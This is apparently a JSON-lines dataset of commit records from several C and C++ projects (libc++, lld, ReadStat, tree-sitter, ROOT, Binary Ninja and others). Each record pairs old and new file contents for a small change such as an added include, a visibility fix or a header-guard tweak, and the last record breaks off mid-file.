{"commit":"73660f725a7479d33f5ebb1517608e4d4c9fb103","old_file":"include\/support\/android\/locale_bionic.h","new_file":"include\/support\/android\/locale_bionic.h","old_contents":"\/\/ -*- C++ -*-\n\/\/===------------------- support\/android\/locale_bionic.h ------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef _LIBCPP_SUPPORT_ANDROID_LOCALE_BIONIC_H\n#define _LIBCPP_SUPPORT_ANDROID_LOCALE_BIONIC_H\n\n#if defined(__BIONIC__)\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include <stdlib.h>\n#include <xlocale.h>\n\n#ifdef __cplusplus\n}\n#endif\n\n#include <support\/xlocale\/__posix_l_fallback.h>\n#include <support\/xlocale\/__strtonum_fallback.h>\n\n#endif \/\/ defined(__BIONIC__)\n#endif \/\/ _LIBCPP_SUPPORT_ANDROID_LOCALE_BIONIC_H\n","new_contents":"\/\/ -*- C++ -*-\n\/\/===------------------- support\/android\/locale_bionic.h ------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef _LIBCPP_SUPPORT_ANDROID_LOCALE_BIONIC_H\n#define _LIBCPP_SUPPORT_ANDROID_LOCALE_BIONIC_H\n\n#if defined(__BIONIC__)\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include <stdlib.h>\n#include <xlocale.h>\n\n#ifdef __cplusplus\n}\n#endif\n\n#include <support\/xlocale\/__posix_l_fallback.h>\n\n#endif \/\/ defined(__BIONIC__)\n#endif \/\/ _LIBCPP_SUPPORT_ANDROID_LOCALE_BIONIC_H\n","subject":"Stop using __strtonum_fallback on Android.","message":"Stop using __strtonum_fallback on Android.\n\nFallback implementations are now provided by bionic when necessary,\nwhich these may conflict with.\n\ngit-svn-id: 756ef344af921d95d562d9e9f9389127a89a6314@324534 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/libcxx,llvm-mirror\/libcxx,llvm-mirror\/libcxx,llvm-mirror\/libcxx,llvm-mirror\/libcxx"}
{"commit":"887f4b189d1b0e1e4e61f5f4cffc3be395cd12b6","old_file":"hittop\/parser\/success.h","new_file":"hittop\/parser\/success.h","old_contents":"\/\/ DESCRIPTION\n\/\/\n#ifndef HITTOP_PARSER_SUCCESS_H\n#define HITTOP_PARSER_SUCCESS_H\n\n#include <iterator>\n\n#include \"hittop\/parser\/parser.h\"\n\nnamespace hittop {\nnamespace parser {\n\nstruct Success {};\n\n\/\/ Always succeed, consuming no input.\ntemplate <> class Parser<Success> {\n  template <typename Range>\n  auto operator()(const Range &input) const\n      -> Fallible<decltype(std::begin(input))> {\n    return std::begin(input);\n  }\n};\n\n} \/\/ namespace parser\n} \/\/ namespace hittop\n\n#endif \/\/ HITTOP_PARSER_SUCCESS_H\n","new_contents":"\/\/ DESCRIPTION\n\/\/\n#ifndef HITTOP_PARSER_SUCCESS_H\n#define HITTOP_PARSER_SUCCESS_H\n\n#include <iterator>\n\n#include \"hittop\/parser\/parser.h\"\n\nnamespace hittop {\nnamespace parser {\n\nstruct Success {};\n\n\/\/ Always succeed, consuming no input.\ntemplate <> class Parser<Success> {\npublic:\n  template <typename Range>\n  auto operator()(const Range &input) const\n      -> Fallible<decltype(std::begin(input))> {\n    return std::begin(input);\n  }\n};\n\n} \/\/ namespace parser\n} \/\/ namespace hittop\n\n#endif \/\/ HITTOP_PARSER_SUCCESS_H\n","subject":"Fix bug: Parser<Success>::operator() was not public","message":"Fix bug: Parser<Success>::operator() was not public\n","lang":"C","license":"apache-2.0","repos":"hittop\/hittop,hittop\/hittop"}
{"commit":"9b352efa3cfbd20e0f1b63fd073ba440810c0223","old_file":"ELF\/ScriptParser.h","new_file":"ELF\/ScriptParser.h","old_contents":"\/\/===- ScriptParser.h -------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                             The LLVM Linker\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLD_ELF_SCRIPT_PARSER_H\n#define LLD_ELF_SCRIPT_PARSER_H\n\n#include \"lld\/Core\/LLVM.h\"\n#include \"llvm\/ADT\/StringRef.h\"\n\nnamespace lld {\nnamespace elf {\n\nclass ScriptParserBase {\npublic:\n  ScriptParserBase(StringRef S) : Input(S), Tokens(tokenize(S)) {}\n  virtual ~ScriptParserBase() = default;\n\n  virtual void run() = 0;\n\nprotected:\n  void setError(const Twine &Msg);\n  static std::vector<StringRef> tokenize(StringRef S);\n  static StringRef skipSpace(StringRef S);\n  bool atEOF();\n  StringRef next();\n  StringRef peek();\n  bool skip(StringRef Tok);\n  void expect(StringRef Expect);\n\n  size_t getPos();\n  void printErrorPos();\n\n  std::vector<uint8_t> parseHex(StringRef S);\n\n  StringRef Input;\n  std::vector<StringRef> Tokens;\n  size_t Pos = 0;\n  bool Error = false;\n};\n\n} \/\/ namespace elf\n} \/\/ namespace lld\n\n#endif\n","new_contents":"\/\/===- ScriptParser.h -------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                             The LLVM Linker\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLD_ELF_SCRIPT_PARSER_H\n#define LLD_ELF_SCRIPT_PARSER_H\n\n#include \"lld\/Core\/LLVM.h\"\n#include \"llvm\/ADT\/StringRef.h\"\n#include <vector>\n\nnamespace lld {\nnamespace elf {\n\nclass ScriptParserBase {\npublic:\n  ScriptParserBase(StringRef S) : Input(S), Tokens(tokenize(S)) {}\n  virtual ~ScriptParserBase() = default;\n\n  virtual void run() = 0;\n\nprotected:\n  void setError(const Twine &Msg);\n  static std::vector<StringRef> tokenize(StringRef S);\n  static StringRef skipSpace(StringRef S);\n  bool atEOF();\n  StringRef next();\n  StringRef peek();\n  bool skip(StringRef Tok);\n  void expect(StringRef Expect);\n\n  size_t getPos();\n  void printErrorPos();\n\n  std::vector<uint8_t> parseHex(StringRef S);\n\n  StringRef Input;\n  std::vector<StringRef> Tokens;\n  size_t Pos = 0;\n  bool Error = false;\n};\n\n} \/\/ namespace elf\n} \/\/ namespace lld\n\n#endif\n","subject":"Fix build failure from r265600","message":"[lld] Fix build failure from r265600\n\n\ngit-svn-id: f6089bf0e6284f307027cef4f64114ee9ebb0424@265603 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/lld,llvm-mirror\/lld"}
{"commit":"a40390e142aaf9796ae3fd219e3aabdcda8ee096","old_file":"src\/readstat_malloc.c","new_file":"src\/readstat_malloc.c","old_contents":"#include <stdlib.h>\n\n#define MAX_MALLOC_SIZE (1<<20) \/* One megabyte ought to be enough for anyone *\/\n\nvoid *readstat_malloc(size_t len) {\n    if (len > MAX_MALLOC_SIZE || len == 0) {\n        return NULL;\n    }\n    return malloc(len);\n}\n\nvoid *readstat_calloc(size_t count, size_t size) {\n    if (count > MAX_MALLOC_SIZE || size > MAX_MALLOC_SIZE || count * size > MAX_MALLOC_SIZE) {\n        return NULL;\n    }\n    return calloc(count, size);\n}\n\nvoid *readstat_realloc(void *ptr, size_t len) {\n    if (len > MAX_MALLOC_SIZE || len == 0) {\n        if (ptr)\n            free(ptr);\n        return NULL;\n    }\n    return realloc(ptr, len);\n}\n","new_contents":"#include <stdlib.h>\n\n#define MAX_MALLOC_SIZE (1<<20) \/* One megabyte ought to be enough for anyone *\/\n\nvoid *readstat_malloc(size_t len) {\n    if (len > MAX_MALLOC_SIZE || len == 0) {\n        return NULL;\n    }\n    return malloc(len);\n}\n\nvoid *readstat_calloc(size_t count, size_t size) {\n    if (count > MAX_MALLOC_SIZE || size > MAX_MALLOC_SIZE || count * size > MAX_MALLOC_SIZE) {\n        return NULL;\n    }\n    if (count == 0 || size == 0) {\n        return NULL;\n    }\n    return calloc(count, size);\n}\n\nvoid *readstat_realloc(void *ptr, size_t len) {\n    if (len > MAX_MALLOC_SIZE || len == 0) {\n        if (ptr)\n            free(ptr);\n        return NULL;\n    }\n    return realloc(ptr, len);\n}\n","subject":"Check readstat_calloc for 0-sized input","message":"Check readstat_calloc for 0-sized input\n","lang":"C","license":"mit","repos":"WizardMac\/ReadStat,WizardMac\/ReadStat"}
{"commit":"d192eda9cf103f88468acdf40dc77114d30bde67","old_file":"lib\/src\/lib.c","new_file":"lib\/src\/lib.c","old_contents":"\/\/ The Tree-sitter runtime library can be built by compiling this\n\/\/ one source file.\n\/\/\n\/\/ The following directories must be added to the include path:\n\/\/   - src\n\/\/   - include\n\/\/   - externals\/utf8proc\n\n#include \".\/get_changed_ranges.c\"\n#include \".\/language.c\"\n#include \".\/lexer.c\"\n#include \".\/node.c\"\n#include \".\/parser.c\"\n#include \".\/stack.c\"\n#include \".\/subtree.c\"\n#include \".\/tree_cursor.c\"\n#include \".\/tree.c\"\n#include \".\/utf16.c\"\n#include \"utf8proc.c\"\n","new_contents":"\/\/ The Tree-sitter library can be built by compiling this one source file.\n\/\/\n\/\/ The following directories must be added to the include path:\n\/\/   - src\n\/\/   - include\n\/\/   - externals\/utf8proc\n\n#include \".\/get_changed_ranges.c\"\n#include \".\/language.c\"\n#include \".\/lexer.c\"\n#include \".\/node.c\"\n#include \".\/parser.c\"\n#include \".\/stack.c\"\n#include \".\/subtree.c\"\n#include \".\/tree_cursor.c\"\n#include \".\/tree.c\"\n#include \".\/utf16.c\"\n#include \"utf8proc.c\"\n","subject":"Remove stray word 'runtime' from comment","message":"Remove stray word 'runtime' from comment\n","lang":"C","license":"mit","repos":"tree-sitter\/tree-sitter,tree-sitter\/tree-sitter,tree-sitter\/tree-sitter,tree-sitter\/tree-sitter,tree-sitter\/tree-sitter,tree-sitter\/tree-sitter,tree-sitter\/tree-sitter"}
{"commit":"920e161a029d38c78042221415d036d7a6e631c5","old_file":"apply-rules.c","new_file":"apply-rules.c","old_contents":"#include \"gc.h\"\n\n#include \"tree.h\"\n#include \"dict.h\"\n#include \"match.h\"\n#include \"optimize.h\"\n\n\/* We recursively iterate through all \n * rules on all the children of the tree\n * until the expression is irreducible, \n * i.e. stops changing.\n * \n * Also, we (try to) apply the optimization\n * routine.\n *\/\n\nint apply_rules_and_optimize(exp_tree_t** rules, int rc, exp_tree_t *tree)\n{\n\tint success = 0;\n\twhile (1) {\n\t\tif (matchloop(rules, rc, tree)) {\n\t\t\t\/*\n\t\t\t * Reduction algorithm\n\t\t\t * suceeded, print reduced tree\n\t\t\t *\/\n#ifdef DEBUG_2\n\t\t\tprintout_tree(*tree);\n\t\t\tprintf(\"\\n\");\n#endif\n#ifdef DEBUG\n\t\t\tprintout_tree_infix(*tree);\n\t\t\tprintf(\"\\n\");\n#endif\n\t\t\tsuccess = 1;\n\t\t}\n\n\t\t\/*\n\t\t * If optimization succeeds in\n\t\t * modifying the tree, try\n\t\t * reducing the new optimized\n\t\t * tree.\n\t\t *\/\n\t\tif (optimize(tree)) {\n#ifdef DEBUG\n\t\t\tprintf(\"[optimize] \\n\");\n#ifdef DEBUG_2\n\t\t\tprintout_tree(*tree);\n\t\t\tprintf(\"\\n\");\n#endif\n\t\t\tprintout_tree_infix(*tree);\n\t\t\tprintf(\"\\n\");\n#endif\n\t\t\tsuccess = 1;\n\t\t\tcontinue;\n\t\t}\n\t\tbreak;\n\t}\n\treturn success;\n}\n","new_contents":"#include \"gc.h\"\n\n#include \"tree.h\"\n#include \"dict.h\"\n#include \"match.h\"\n#include \"optimize.h\"\n\n\/*\n * We recursively iterate through all\n * rules on all the children of the tree\n * until the expression is irreducible,\n * i.e. stops changing.\n *\n * Also, we (try to) apply the optimization\n * routine.\n *\/\n\nint apply_rules_and_optimize(exp_tree_t** rules, int rc, exp_tree_t *tree)\n{\n\tint success = 0;\n\twhile (1) {\n\t\tif (matchloop(rules, rc, tree)) {\n\t\t\t\/*\n\t\t\t * Reduction algorithm\n\t\t\t * suceeded, print reduced tree\n\t\t\t *\/\n\t\t\t#ifdef DEBUG_2\n\t\t\t\tprintout_tree(*tree);\n\t\t\t\tprintf(\"\\n\");\n\t\t\t#endif\n\t\t\t#ifdef DEBUG\n\t\t\t\tprintout_tree_infix(*tree);\n\t\t\t\tprintf(\"\\n\");\n\t\t\t#endif\n\t\t\tsuccess = 1;\n\t\t}\n\n\t\t\/*\n\t\t * If optimization succeeds in\n\t\t * modifying the tree, try\n\t\t * reducing the new optimized\n\t\t * tree.\n\t\t *\/\n\t\tif (optimize(tree)) {\n\t\t\t#ifdef DEBUG\n\t\t\t\tprintf(\"[optimize] \\n\");\n\t\t\t\t#ifdef DEBUG_2\n\t\t\t\t\tprintout_tree(*tree);\n\t\t\t\t\tprintf(\"\\n\");\n\t\t\t\t#endif\n\t\t\t\tprintout_tree_infix(*tree);\n\t\t\t\tprintf(\"\\n\");\n\t\t\t#endif\n\t\t\tsuccess = 1;\n\t\t\tcontinue;\n\t\t}\n\t\tbreak;\n\t}\n\treturn success;\n}\n","subject":"Change indent and comments to a more readable style","message":"Change indent and comments to a more readable style\n","lang":"C","license":"mit","repos":"bl0ckeduser\/symdiff,bl0ckeduser\/symdiff,bl0ckeduser\/symdiff"}
{"commit":"39f8ed0f2b1ef5d3e8572bc74f2fbe0a153e74ce","old_file":"core\/thread\/inc\/TSpinMutex.h","new_file":"core\/thread\/inc\/TSpinMutex.h","old_contents":"#include <atomic>\n\nnamespace ROOT {\n   \/\/\/ A spin mutex class which respects the STL interface.\n   class TSpinMutex {\n   public:\n      TSpinMutex() noexcept {}\n      TSpinMutex(const TSpinMutex&) = delete;\n      TSpinMutex( TSpinMutex && ) = delete;\n      ~TSpinMutex(){}\n      void lock(){while (fAFlag.test_and_set(std::memory_order_acquire));}\n      void unlock(){fAFlag.clear(std::memory_order_release);}\n      bool try_lock(){return !fAFlag.test_and_set(std::memory_order_acquire);}\n\n   private:\n      std::atomic_flag fAFlag = ATOMIC_FLAG_INIT;\n   };\n}\n","new_contents":"#ifndef ROOT_TSpinMutex\n#define ROOT_TSpinMutex\n\n#include <atomic>\n\nnamespace ROOT {\n   \/\/\/ A spin mutex class which respects the STL interface.\n   class TSpinMutex {\n   public:\n      TSpinMutex() = default;\n      TSpinMutex(const TSpinMutex&) = delete;\n      ~TSpinMutex(){}\n      TSpinMutex& operator=(const TSpinMutex&) = delete;\n      void lock(){while (fAFlag.test_and_set(std::memory_order_acquire));}\n      void unlock(){fAFlag.clear(std::memory_order_release);}\n      bool try_lock(){return !fAFlag.test_and_set(std::memory_order_acquire);}\n\n   private:\n      std::atomic_flag fAFlag = ATOMIC_FLAG_INIT;\n   };\n}\n\n#endif\n","subject":"Make class more C++11 compliant","message":"Make class more C++11 compliant\n\no Do not delete move ctor\no Mark ctor as default\no Delete the assignment operator (as in std::mutex)\nAdd also include guards.\n","lang":"C","license":"lgpl-2.1","repos":"davidlt\/root,BerserkerTroll\/root,georgtroska\/root,karies\/root,agarciamontoro\/root,root-mirror\/root,simonpf\/root,thomaskeck\/root,thomaskeck\/root,agarciamontoro\/root,satyarth934\/root,BerserkerTroll\/root,beniz\/root,karies\/root,BerserkerTroll\/root,mhuwiler\/rootauto,gbitzes\/root,satyarth934\/root,mhuwiler\/rootauto,beniz\/root,olifre\/root,georgtroska\/root,BerserkerTroll\/root,agarciamontoro\/root,buuck\/root,bbockelm\/root,buuck\/root,BerserkerTroll\/root,Y--\/root,BerserkerTroll\/root,zzxuanyuan\/root,georgtroska\/root,simonpf\/root,root-mirror\/root,bbockelm\/root,davidlt\/root,davidlt\/root,buuck\/root,abhinavmoudgil95\/root,zzxuanyuan\/root-compressor-dummy,pspe\/root,Y--\/root,abhinavmoudgil95\/root,BerserkerTroll\/root,Y--\/root,pspe\/root,mhuwiler\/rootauto,root-mirror\/root,thomaskeck\/root,gganis\/root,zzxuanyuan\/root,davidlt\/root,root-mirror\/root,Y--\/root,mhuwiler\/rootauto,simonpf\/root,satyarth934\/root,olifre\/root,abhinavmoudgil95\/root,georgtroska\/root,mhuwiler\/rootauto,gbitzes\/root,root-mirror\/root,abhinavmoudgil95\/root,karies\/root,gganis\/root,georgtroska\/root,buuck\/root,bbockelm\/root,olifre\/root,gganis\/root,zzxuanyuan\/root,thomaskeck\/root,beniz\/root,pspe\/root,davidlt\/root,olifre\/root,gbitzes\/root,gganis\/root,BerserkerTroll\/root,zzxuanyuan\/root-compressor-dummy,Y--\/root,zzxuanyuan\/root,simonpf\/root,gganis\/root,satyarth934\/root,bbockelm\/root,pspe\/root,thomaskeck\/root,root-mirror\/root,abhinavmoudgil95\/root,simonpf\/root,zzxuanyuan\/root,gbitzes\/root,beniz\/root,thomaskeck\/root,gbitzes\/root,satyarth934\/root,beniz\/root,beniz\/root,georgtroska\/root,satyarth934\/root,bbockelm\/root,olifre\/root,karies\/root,karies\/root,karies\/root,abhinavmoudgil95\/root,zzxuanyuan\/root-compressor-dummy,BerserkerTroll\/root,davidlt\/root,root-mirror\/root,gganis\/root,pspe\/root,bbockelm\/root,Y--\/root,thomaskeck\/root,karies\/root,root-mirror\/root,bbockelm\/root,gganis\/root,agarciamontoro\/root,karies\/root,georgtroska\/root,mhuwiler\/rootauto,zzxuanyuan\/root-compressor-dummy,zzxuanyuan\/root,zzxuanyuan\/root,zzxuanyuan\/root-compressor-dummy,BerserkerTroll\/root,abhinavmoudgil95\/root,davidlt\/root,olifre\/root,buuck\/root,pspe\/root,bbockelm\/root,gganis\/root,zzxuanyuan\/root-compressor-dummy,zzxuanyuan\/root,BerserkerTroll\/root,zzxuanyuan\/root,root-mirror\/root,gganis\/root,gbitzes\/root,georgtroska\/root,agarciamontoro\/root,agarciamontoro\/root,thomaskeck\/root,satyarth934\/root,abhinavmoudgil95\/root,thomaskeck\/root,davidlt\/root,bbockelm\/root,Y--\/root,buuck\/root,davidlt\/root,agarciamontoro\/root,Y--\/root,agarciamontoro\/root,pspe\/root,mhuwiler\/rootauto,gbitzes\/root,beniz\/root,thomaskeck\/root,root-mirror\/root,simonpf\/root,gganis\/root,satyarth934\/root,zzxuanyuan\/root-compressor-dummy,olifre\/root,bbockelm\/root,simonpf\/root,pspe\/root,karies\/root,gbitzes\/root,zzxuanyuan\/root,georgtroska\/root,olifre\/root,gganis\/root,simonpf\/root,karies\/root,agarciamontoro\/root,beniz\/root,simonpf\/root,gbitzes\/root,Y--\/root,georgtroska\/root,mhuwiler\/rootauto,simonpf\/root,gbitzes\/root,agarciamontoro\/root,simonpf\/root,abhinavmoudgil95\/root,olifre\/root,mhuwiler\/rootauto,buuck\/root,zzxuanyuan\/root-compressor-dummy,pspe\/root,abhinavmoudgil95\/root,buuck\/root,buuck\/root,gbitzes\/root,pspe\/root,mhuwiler\/rootauto,bbockelm\/root,buuck\/root,agarciamontoro\/root,satyarth934\/root,olifre\/root,beniz\/root,satyarth934\/root,Y--\/root,satyarth934\/root,Y--\/root,zzxuanyuan\/root-compressor-dummy,beniz\/root,karies\/root,olifre\/root,pspe\/root,abhinavmoudgil95\/root,buuck\/root,beniz\/root,davidlt\/root,zzxuanyuan\/root,root-mirror\/root,zzxuanyuan\/root-compressor-dummy,zzxuanyuan\/root,davidlt\/root,mhuwiler\/rootauto,zzxuanyuan\/root-compressor-dummy,georgtroska\/root"}
{"commit":"0bf7ca7b7d2b7635f8f45bf19ea895ae17add94e","old_file":"R2Bot\/include\/Config.h","new_file":"R2Bot\/include\/Config.h","old_contents":"#ifndef _R2BOT_CONFIG\n#define _R2BOT_CONFIG\n\n#define _WINSOCK_DEPRECATED_NO_WARNINGS\n\n\/\/ Logging\n#ifndef LOGGING\n#\tdefine LOGGING 0\n#endif\n\n\/\/ Define \/ undefine these for your own use\n#define USE_KINECT1\n#define USE_KINECT2\n#define USE_MOTORS\n#define USE_ULTRASONIC\n#define USE_R2SERVER\n\n#endif","new_contents":"#ifndef _R2BOT_CONFIG\n#define _R2BOT_CONFIG\n\n#define _WINSOCK_DEPRECATED_NO_WARNINGS\n\n\/\/ Define \/ undefine these for your own use\n#define USE_KINECT1\n#define USE_KINECT2\n#define USE_MOTORS\n#define USE_ULTRASONIC\n#define USE_R2SERVER\n\n#endif","subject":"Remove logging definition from config","message":"Remove logging definition from config\n","lang":"C","license":"mit","repos":"cornell-cup\/cs-r2bot2,cornell-cup\/cs-r2bot2,cornell-cup\/cs-r2bot2,cornell-cup\/cs-r2bot2,cornell-cup\/cs-r2bot2"}
{"commit":"c67c4aceaceae6aa8429128f7fa2ef3d04a6c342","old_file":"client\/loop.c","new_file":"client\/loop.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <sys\/select.h>\n\n\/* pselect loop test *\/\nint main(int argc, char *argv[])\n{\n\tstruct timespec timeout;\n\tfd_set readfds;\n\tint fdcount;\n\n\twhile(1){\n\t\tFD_ZERO(&readfds);\n\t\tFD_SET(0, &readfds);\n\t\ttimeout.tv_sec = 1;\n\t\ttimeout.tv_nsec = 0;\n\n\t\tfdcount = pselect(1, &readfds, NULL, NULL, &timeout, NULL);\n\t\tprintf(\"loop %d\\n\", fdcount);\n\t}\n\treturn 0;\n}\n\n","subject":"Test program for playing around with (p)select.","message":"Test program for playing around with (p)select.\n","lang":"C","license":"bsd-3-clause","repos":"zlargon\/mosquitto,tempbottle\/mosquitto,tempbottle\/mosquitto,zlargon\/mosquitto,tempbottle\/mosquitto,zlargon\/mosquitto,tempbottle\/mosquitto,zlargon\/mosquitto,tempbottle\/mosquitto,zlargon\/mosquitto"}
{"commit":"82e8947ca83b54772c49f7ed25ad2e46a19aa3aa","old_file":"spinnaker_components\/ensemble\/ensemble-main.c","new_file":"spinnaker_components\/ensemble\/ensemble-main.c","old_contents":"#include \"ensemble.h\"\n\nvoid c_main( void ) {\n  \/\/ Set the system up\n  address_t address = system_load_sram();\n  data_system       ( region_start( 1, address ) );\n  data_get_bias     ( region_start( 2, address ), g_ensemble.n_neurons );\n  data_get_encoders ( region_start( 3, address ), g_ensemble.n_neurons, g_n_input_dimensions );\n  data_get_decoders ( region_start( 4, address ), g_ensemble.n_neurons, g_n_output_dimensions );\n  data_get_keys     ( region_start( 5, address ), g_n_output_dimensions );\n\n  \/\/ Set up routing tables\n  if( leadAp ){\n    system_lead_app_configured( );\n  }\n\n  \/\/ Setup timer tick, start\n  spin1_set_timer_tick( g_ensemble.machine_timestep );\n  spin1_start( );\n}\n","new_contents":"#include \"ensemble.h\"\n\nvoid c_main( void ) {\n  \/\/ Set the system up\n  address_t address = system_load_sram();\n  data_system       ( region_start( 1, address ) );\n  data_get_bias     ( region_start( 2, address ), g_ensemble.n_neurons );\n  data_get_encoders ( region_start( 3, address ), g_ensemble.n_neurons, g_n_input_dimensions );\n  data_get_decoders ( region_start( 4, address ), g_ensemble.n_neurons, g_n_output_dimensions );\n  data_get_keys     ( region_start( 5, address ), g_n_output_dimensions );\n\n  \/\/ Set up routing tables\n  if( leadAp ){\n    system_lead_app_configured( );\n  }\n\n  \/\/ Load core map\n  system_load_core_map( );\n\n  \/\/ Setup timer tick, start\n  spin1_set_timer_tick( g_ensemble.machine_timestep );\n  spin1_start( );\n}\n","subject":"Load and configure core map.","message":"Load and configure core map.\n","lang":"C","license":"mit","repos":"ctn-archive\/nengo_spinnaker_2014,ctn-archive\/nengo_spinnaker_2014,ctn-archive\/nengo_spinnaker_2014,ctn-archive\/nengo_spinnaker_2014"}
{"commit":"13f6e450824dbce2e73b9139dc7283ef903210d1","old_file":"ui\/reflectionview.h","new_file":"ui\/reflectionview.h","old_contents":"#pragma once\n\n#include <QtGui\/QMouseEvent>\n#include <QtGui\/QPaintEvent>\n#include <QtWidgets\/QWidget>\n\n#include \"binaryninjaapi.h\"\n#include \"dockhandler.h\"\n#include \"uitypes.h\"\n\nclass ContextMenuManager;\nclass DisassemblyContainer;\nclass FlowGraphWidget;\nclass Menu;\nclass ViewFrame;\n\nclass BINARYNINJAUIAPI ReflectionView: public QWidget, public DockContextHandler\n{\n\tQ_OBJECT\n\tQ_INTERFACES(DockContextHandler)\n\n\tViewFrame* m_frame;\n\tBinaryViewRef m_data;\n\tDisassemblyContainer* m_disassemblyContainer;\n\tstd::map<BNFunctionGraphType, BNFunctionGraphType> m_ilMap;\n\tbool m_ilSync;\n\tbool m_locationSync;\n\n\tBNFunctionGraphType m_lastSrcILViewType = NormalFunctionGraph;\n\tBNFunctionGraphType m_lastTgtILViewType = NormalFunctionGraph;\n\tbool m_ilSyncOverride = false;\n\npublic:\n\tReflectionView(ViewFrame* frame, BinaryViewRef data);\n\t~ReflectionView();\n\n\tFlowGraphWidget* getFlowGraphWidget();\n\n\tvoid toggleILSync();\n\tvoid toggleLocationSync();\n\n\tvirtual void notifyViewLocationChanged(View* view, const ViewLocation& viewLocation) override;\n\tvirtual void notifyVisibilityChanged(bool visible) override;\n\tvirtual bool shouldBeVisible(ViewFrame* frame) override;\n\nprotected:\n\tvirtual void contextMenuEvent(QContextMenuEvent* event) override;\n};\n","new_contents":"#pragma once\n\n#include <QtGui\/QMouseEvent>\n#include <QtGui\/QPaintEvent>\n#include <QtWidgets\/QWidget>\n\n#include \"binaryninjaapi.h\"\n#include \"dockhandler.h\"\n#include \"uitypes.h\"\n\nclass ContextMenuManager;\nclass DisassemblyContainer;\nclass FlowGraphWidget;\nclass Menu;\nclass ViewFrame;\n\nclass BINARYNINJAUIAPI ReflectionView: public QWidget, public DockContextHandler\n{\n\tQ_OBJECT\n\tQ_INTERFACES(DockContextHandler)\n\n\tViewFrame* m_frame;\n\tBinaryViewRef m_data;\n\tDisassemblyContainer* m_disassemblyContainer;\n\tstd::map<BNFunctionGraphType, BNFunctionGraphType> m_ilMap;\n\tbool m_ilSync;\n\tbool m_locationSync;\n\n\tBNFunctionGraphType m_lastSrcILViewType = NormalFunctionGraph;\n\tBNFunctionGraphType m_lastTgtILViewType = NormalFunctionGraph;\n\tbool m_ilSyncOverride = false;\n\npublic:\n\tReflectionView(ViewFrame* frame, BinaryViewRef data);\n\t~ReflectionView();\n\n\tFlowGraphWidget* getFlowGraphWidget();\n\n\tvoid toggleILSync();\n\tvoid toggleLocationSync();\n\n\tvirtual void notifyFontChanged() override;\n\tvirtual void notifyViewLocationChanged(View* view, const ViewLocation& viewLocation) override;\n\tvirtual void notifyVisibilityChanged(bool visible) override;\n\tvirtual bool shouldBeVisible(ViewFrame* frame) override;\n\nprotected:\n\tvirtual void contextMenuEvent(QContextMenuEvent* event) override;\n};\n","subject":"Add font change notifications to reflection view.","message":"Add font change notifications to reflection view.\n","lang":"C","license":"mit","repos":"joshwatson\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api"}
{"commit":"808b4fabc1535fafba8079bbd5af0b754039edaf","old_file":"master_degree_1\/sess_3\/integrate_padding_omp.c","new_file":"master_degree_1\/sess_3\/integrate_padding_omp.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <omp.h>\n\nstatic long num_steps = 1000000000;\ndouble step;\n\n#define NUM_THREADS 2\n#define PAD 8\n\nint main()\n{\n        int i, nThreads;\n        double pi, sum[NUM_THREADS][PAD];\n\n        step = 1.0\/(double) num_steps;\n\n        omp_set_num_threads(NUM_THREADS);\n        #pragma omp parallel\n        {\n        int i, ID, nThreadsInternal;\n        double x;\n        ID = omp_get_thread_num();\n        nThreadsInternal = omp_get_num_threads();\n        if(ID == 0) nThreads = nThreadsInternal;\n        for( i=ID, sum[ID][0]=0.0; i<num_steps; i=i+nThreadsInternal) {\n                x = (i+0.5)*step;\n                sum[ID][0] += 4.0\/(1.0 + x*x);\n        }\n\n        }\n\n        for (i=0, pi=0.0; i<nThreads; i++)\n                pi += sum[i][0]*step;\n\n        printf(\"%f\\n\", pi);\n}\n","subject":"Add hpc padding approach using omp","message":"Add hpc padding approach using omp\n","lang":"C","license":"mit","repos":"leiverandres\/HPC_assignments,leiverandres\/HPC_assignments,leiverandres\/HPC_assignments,leiverandres\/HPC_assignments,leiverandres\/HPC_assignments"}
{"commit":"0f9d995ab74075c306b7c8b24ac930c4a93e76d0","old_file":"Curve.h","new_file":"Curve.h","old_contents":"\/* \n * File:   Curve.h\n * Author: cameron\n *\n * Created on October 22, 2013, 1:07 AM\n *\/\n\n#ifndef CURVE_H\n#define\tCURVE_H\n\n#include <avr\/pgmspace.h>\n\nclass Curve {\n static const uint8_t etable[] PROGMEM;\npublic:\n static uint8_t exponential(uint8_t);\n static uint8_t linear(uint8_t);\n static uint8_t reverse(uint8_t);\n};\n\n#endif\t\/* CURVE_H *\/\n\n","new_contents":"\/* \n * File:   Curve.h\n * Author: cameron\n *\n * Created on October 22, 2013, 1:07 AM\n *\/\n\n#ifndef CURVE_H\n#define\tCURVE_H\n\n#if (defined(__AVR__))\n#include <avr\\pgmspace.h>\n#else\n#include <pgmspace.h>\n#endif\n\nclass Curve {\n static const uint8_t etable[] PROGMEM;\npublic:\n static uint8_t exponential(uint8_t);\n static uint8_t linear(uint8_t);\n static uint8_t reverse(uint8_t);\n};\n\n#endif\t\/* CURVE_H 